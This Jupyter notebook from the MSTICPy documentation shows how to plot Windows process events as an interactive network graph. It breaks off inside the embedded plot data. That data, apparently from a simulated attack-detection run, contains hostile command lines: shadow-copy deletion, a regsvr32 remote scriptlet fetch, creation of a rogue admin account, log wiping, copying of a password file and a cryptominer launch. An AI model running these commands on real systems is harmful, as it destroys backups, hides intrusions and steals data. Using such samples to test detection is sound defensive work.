{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Plot a Network Graph from DataFrame\n",
    "\n",
    "These functions let you convert a pandas DataFrame\n",
    "into a [networkx](https://networkx.org/) graph or plot \n",
    "directly as a graph using [Bokeh]\n",
    "interactive plotting.\n",
    "\n",
    "You give the functions the column names for the **source**\n",
    "and **target** nodes to build a basic graph,\n",
    "You can also name other columns to be node or edge\n",
    "attributes. When displayed these attributes are\n",
    "visible as popup details courtesy of Bokeh's Hover tool.\n",
    "\n",
    "You can also opt to use different networkx layouts other than\n",
    "the default `spring` layout.\n",
    "\n",
    "Note: We use the term \"network graph\" in this document. \n",
    "This is shortened to \"graph\" when used in the context of Networkx \n",
    "e.g. \"a Networkx graph\"."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>Account</th>\n",
       "      <th>EventID</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>Computer</th>\n",
       "      <th>SubjectUserSid</th>\n",
       "      <th>SubjectUserName</th>\n",
       "      <th>SubjectDomainName</th>\n",
       "      <th>SubjectLogonId</th>\n",
       "      <th>NewProcessId</th>\n",
       "      <th>NewProcessName</th>\n",
       "      <th>TokenElevationType</th>\n",
       "      <th>ProcessId</th>\n",
       "      <th>CommandLine</th>\n",
       "      <th>ParentProcessName</th>\n",
       "      <th>TargetLogonId</th>\n",
       "      <th>SourceComputerId</th>\n",
       "      <th>TimeCreatedUtc</th>\n",
       "      <th>Process</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>802d39e1-9d70-404d-832c-2de5e2478eda</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>4688</td>\n",
       "      <td>2019-01-15 05:24:24.010</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>0x1610</td>\n",
       "      <td>C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\De...</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x888</td>\n",
       "      <td>\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\D...</td>\n",
       "      <td>C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe</td>\n",
       "      <td>0x0</td>\n",
       "      <td>46fe7078-61bb-4bed-9430-7ac01d91c273</td>\n",
       "      <td>2019-01-15 05:24:24.010</td>\n",
       "      <td>ASMHost.exe</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>802d39e1-9d70-404d-832c-2de5e2478eda</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>4688</td>\n",
       "      <td>2019-01-15 05:24:24.023</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>0x1790</td>\n",
       "      <td>C:\\Windows\\System32\\conhost.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x1610</td>\n",
       "      <td>\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1</td>\n",
       "      <td>C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\De...</td>\n",
       "      <td>0x0</td>\n",
       "      <td>46fe7078-61bb-4bed-9430-7ac01d91c273</td>\n",
       "      <td>2019-01-15 05:24:24.023</td>\n",
       "      <td>conhost.exe</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>802d39e1-9d70-404d-832c-2de5e2478eda</td>\n",
       "      <td>WORKGROUP\\MSTICAlertsWin1$</td>\n",
       "      <td>4688</td>\n",
       "      <td>2019-01-15 05:24:25.807</td>\n",
       "      <td>MSTICAlertsWin1</td>\n",
       "      <td>S-1-5-18</td>\n",
       "      <td>MSTICAlertsWin1$</td>\n",
       "      <td>WORKGROUP</td>\n",
       "      <td>0x3e7</td>\n",
       "      <td>0xcd8</td>\n",
       "      <td>C:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe</td>\n",
       "      <td>%%1936</td>\n",
       "      <td>0x280</td>\n",
       "      <td>C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding</td>\n",
       "      <td>C:\\Windows\\System32\\svchost.exe</td>\n",
       "      <td>0x3e4</td>\n",
       "      <td>46fe7078-61bb-4bed-9430-7ac01d91c273</td>\n",
       "      <td>2019-01-15 05:24:25.807</td>\n",
       "      <td>WmiPrvSE.exe</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId                     Account  EventID  \\\n",
       "0  802d39e1-9d70-404d-832c-2de5e2478eda  WORKGROUP\\MSTICAlertsWin1$     4688   \n",
       "1  802d39e1-9d70-404d-832c-2de5e2478eda  WORKGROUP\\MSTICAlertsWin1$     4688   \n",
       "2  802d39e1-9d70-404d-832c-2de5e2478eda  WORKGROUP\\MSTICAlertsWin1$     4688   \n",
       "\n",
       "             TimeGenerated         Computer SubjectUserSid   SubjectUserName  \\\n",
       "0  2019-01-15 05:24:24.010  MSTICAlertsWin1       S-1-5-18  MSTICAlertsWin1$   \n",
       "1  2019-01-15 05:24:24.023  MSTICAlertsWin1       S-1-5-18  MSTICAlertsWin1$   \n",
       "2  2019-01-15 05:24:25.807  MSTICAlertsWin1       S-1-5-18  MSTICAlertsWin1$   \n",
       "\n",
       "  SubjectDomainName SubjectLogonId NewProcessId  \\\n",
       "0         WORKGROUP          0x3e7       0x1610   \n",
       "1         WORKGROUP          0x3e7       0x1790   \n",
       "2         WORKGROUP          0x3e7        0xcd8   \n",
       "\n",
       "                                                                                        NewProcessName  \\\n",
       "0  C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\De...   \n",
       "1                                                                      C:\\Windows\\System32\\conhost.exe   \n",
       "2                                                                C:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe   \n",
       "\n",
       "  TokenElevationType ProcessId  \\\n",
       "0             %%1936     0x888   \n",
       "1             %%1936    0x1610   \n",
       "2             %%1936     0x280   \n",
       "\n",
       "                                                                                           CommandLine  \\\n",
       "0  \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\D...   \n",
       "1                                              \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1   \n",
       "2                                            C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding   \n",
       "\n",
       "                                                                                     ParentProcessName  \\\n",
       "0                                 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\MonitoringHost.exe   \n",
       "1  C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\De...   \n",
       "2                                                                      C:\\Windows\\System32\\svchost.exe   \n",
       "\n",
       "  TargetLogonId                      SourceComputerId  \\\n",
       "0           0x0  46fe7078-61bb-4bed-9430-7ac01d91c273   \n",
       "1           0x0  46fe7078-61bb-4bed-9430-7ac01d91c273   \n",
       "2         0x3e4  46fe7078-61bb-4bed-9430-7ac01d91c273   \n",
       "\n",
       "            TimeCreatedUtc       Process  \n",
       "0  2019-01-15 05:24:24.010   ASMHost.exe  \n",
       "1  2019-01-15 05:24:24.023   conhost.exe  \n",
       "2  2019-01-15 05:24:25.807  WmiPrvSE.exe  "
      ]
     },
     "execution_count": 19,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "import msticpy as mp\n",
    "mp.init_notebook();\n",
    "\n",
    "proc_df = pd.read_csv(\"./data/processes_on_host.csv\", index_col=0)\n",
    "proc_df[\"Process\"] = proc_df.NewProcessName.str.extract(r\".*\\\\([^\\\\]+)\")\n",
    "proc_df.head(3)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Overview\n",
    "\n",
    "You can create and display a DataFrame as a network graph using\n",
    "the MSTICPy pandas accesssor `mp_plot.network`.\n",
    "\n",
    "This is an example featuring process creation events\n",
    "using the SubjecUserName and Process name as nodes.\n",
    "Node and edge attributes are taken from other DataFrame columns.\n",
    "\n",
    "Note: use the WheelZoom tool to use the mouse scroll wheel\n",
    "to zoom in and out of the plot."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"5001\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n      cell.notebook.kernel.execute(cmd_destroy);\n    }\n  }\n\n  /**\n   * Handle when a new output is added\n   */\n  function handleAddOutput(event, handle) {\n    const output_area = handle.output_area;\n    const output = handle.output;\n\n    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n      return\n    }\n\n    const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n      // store reference to embed id on output_area\n      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n    }\n    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n      const bk_div = document.createElement(\"div\");\n      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n      const script_attrs = bk_div.children[0].attributes;\n      for (let i = 0; i < script_attrs.length; i++) {\n        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n      }\n      // store reference to server id on output_area\n      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n    }\n  }\n\n  function register_renderer(events, OutputArea) {\n\n    function append_mime(data, metadata, element) {\n      // create a DOM node to render to\n      const toinsert = this.create_output_subarea(\n        metadata,\n        CLASS_NAME,\n        EXEC_MIME_TYPE\n      );\n      this.keyboard_manager.register_events(toinsert);\n      // Render to node\n      const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n      render(props, toinsert[toinsert.length - 1]);\n      element.append(toinsert);\n      return toinsert\n    }\n\n    /* Handle when an output is cleared or removed */\n    events.on('clear_output.CodeCell', handleClearOutput);\n    events.on('delete.Cell', handleClearOutput);\n\n    /* Handle when a new output is added */\n    events.on('output_added.OutputArea', handleAddOutput);\n\n    /**\n     * Register the mime type and append_mime function with output_area\n     */\n    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n      /* Is output safe? */\n      safe: true,\n      /* Index of renderer in `output_area.display_order` */\n      index: 0\n    });\n  }\n\n  // register the mime type if in Jupyter Notebook environment and previously unregistered\n  if (root.Jupyter !== undefined) {\n    const events = require('base/js/events');\n    const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n      register_renderer(events, OutputArea);\n    }\n  }\n\n  \n  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n    root._bokeh_timeout = Date.now() + 5000;\n    root._bokeh_failed_load = false;\n  }\n\n  const NB_LOAD_WARNING = {'data': {'text/html':\n     \"<div style='background-color: #fdd'>\\n\"+\n     \"<p>\\n\"+\n     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n     \"</p>\\n\"+\n     \"<ul>\\n\"+\n     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n     \"</ul>\\n\"+\n     \"<code>\\n\"+\n     \"from bokeh.resources import INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    const el = document.getElementById(\"5001\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error(url) {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (let i = 0; i < css_urls.length; i++) {\n      const url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    for (let i = 0; i < js_urls.length; i++) {\n      const url = js_urls[i];\n      const element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error.bind(null, url);\n      element.async = false;\n      element.src = url;\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n  const css_urls = [];\n  \n\n  const inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (let i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      const cell = $(document.getElementById(\"5001\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"3e2544bc-880b-4ef4-9100-763700d1181c\" data-root-id=\"5002\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  const docs_json = {\"b90fb536-33ad-4388-91e2-3281097627d9\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"5013\"}],\"center\":[{\"id\":\"5016\"},{\"id\":\"5020\"},{\"id\":\"5099\"},{\"id\":\"5100\"},{\"id\":\"5101\"},{\"id\":\"5102\"},{\"id\":\"5103\"},{\"id\":\"5104\"},{\"id\":\"5105\"},{\"id\":\"5106\"},{\"id\":\"5107\"},{\"id\":\"5108\"},{\"id\":\"5109\"},{\"id\":\"5110\"},{\"id\":\"5111\"},{\"id\":\"5112\"},{\"id\":\"5113\"},{\"id\":\"5114\"},{\"id\":\"5115\"},{\"id\":\"5116\"},{\"id\":\"5117\"},{\"id\":\"5118\"},{\"id\":\"5119\"},{\"id\":\"5120\"},{\"id\":\"5121\"},{\"id\":\"5122\"},{\"id\":\"5123\"},{\"id\":\"5124\"},{\"id\":\"5125\"},{\"id\":\"5126\"}],\"height\":800,\"left\":[{\"id\":\"5017\"}],\"renderers\":[{\"id\":\"5035\"}],\"title\":{\"id\":\"5003\"},\"toolbar\":{\"id\":\"5028\"},\"width\":800,\"x_range\":{\"id\":\"5005\"},\"x_scale\":{\"id\":\"5009\"},\"y_range\":{\"id\":\"5007\"},\"y_scale\":{\"id\":\"5011\"}},\"id\":\"5002\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"MSTICAlertsWin1$\",\"text_font_size\":\"10pt\",\"x\":0.6420716731413041,\"x_offset\":5,\"y\":-0.21124123870196587,\"y_offset\":5},\"id\":\"5099\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"5037\"},\"glyph\":{\"id\":\"5064\"},\"group\":null,\"hover_glyph\":{\"id\":\"5069\"},\"selection_glyph\":{\"id\":\"5074\"},\"view\":{\"id\":\"5039\"}},\"id\":\"5038\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"overlay\":{\"id\":\"5374\"}},\"id\":\"5094\",\"type\":\"BoxSelectTool\"},{\"attributes\":{\"callback\":null},\"id\":\"5093\",\"type\":\"TapTool\"},{\"attributes\":{},\"id\":\"5018\",\"type\":\"BasicTicker\"},{\"attributes\":{\"line_color\":{\"value\":\"#abdda4\"},\"line_width\":{\"value\":5}},\"id\":\"5049\",\"type\":\"MultiLine\"},{\"attributes\":{\"axis\":{\"id\":\"5013\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"5016\",\"type\":\"Grid\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"MSTICAdmin\",\"text_font_size\":\"10pt\",\"x\":-0.4183963950736863,\"x_offset\":5,\"y\":0.13855171347991266,\"y_offset\":5},\"id\":\"5104\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"5368\"},\"group\":null,\"major_label_policy\":{\"id\":\"5369\"},\"ticker\":{\"id\":\"5018\"}},\"id\":\"5017\",\"type\":\"LinearAxis\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"conhost.exe\",\"text_font_size\":\"10pt\",\"x\":0.11233332923837769,\"x_offset\":5,\"y\":-0.08599575064228075,\"y_offset\":5},\"id\":\"5101\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"5009\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"5022\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"data\":{\"CommandLine\":[null,\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",null,\".\\\\reg  not /domain:everything that /sid:shines is /krbtgt:golden !, reg.exe, .\\\\reg.exe  add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd  /c \\\"systeminfo && systeminfo\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&echo [E]\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP =2013Role Server -force&echo [S]&cd&echo [E]\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm set winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo [S]&cd&echo [E]\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\ProgramData\\\"&copy \\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Password Change Dates.docx\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\appcmd set config \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo [S]&cd&echo [E]\\\", .\\\\cmd  /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log /q&echo [S]&cd&echo [E]\\\", cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat c:\\\\Diagnostics\\\\UserTmp, cmd  /c echo Any questions about the commands executed here then please contact one of, cmd  /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com; liengli@microsoft.com, cmd  /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\",\".\\\\rundll32  /C 42424.exe, .\\\\rundll32  /C c:\\\\users\\\\MSTICAdmin\\\\42424.exe, .\\\\rundll32  /C 1234.exe, .\\\\rundll32  /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe, .\\\\rundll32  /C reg.exe, .\\\\rundll32.exe  /C mshtml,RunHTMLApplication javascript:alert(tada!)\",\"42424.exe\",\"1234.exe\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe  C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$250276,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\tsetup.1.0.14.exe\",\".\\\\netsh.exe  \\\"in (*.exe) do start # artificial commandline solely for purposes of triggering test\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat \",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin  delete shadows /all /quiet\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"net  user adm1nistrator Bob_testing /add, net  share TestShare=c:\\\\testshare /Grant:Users,Read, net  use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator, net  use q: /delete, net  share TestShare /delete, net  user adm1nistrator /delete\",\"C:\\\\Windows\\\\system32\\\\net1  user adm1nistrator Bob_testing /add, C:\\\\Windows\\\\system32\\\\net1  share TestShare=c:\\\\testshare /Grant:Users,Read, C:\\\\Windows\\\\system32\\\\net1  share TestShare /delete, C:\\\\Windows\\\\system32\\\\net1  user adm1nistrator /delete\",\"dism /online /enable-feature /featurename:File-Services /NoRestart\",\"C:\\\\Windows\\\\TEMP\\\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\\\dismhost.exe {D57BA872-53C0-424D-80AE-E49112D1CF04}\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe -Embedding\",\".\\\\regsvr32   /s /n /u /i:http://server/file.sct scrobj.dll\",\"C:\\\\Windows\\\\system32\\\\svchost.exe -k wsappx\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \",\".\\\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4\"],\"NewProcessName\":[null,\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\NativeDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\SysWOW64\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",null,\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe, 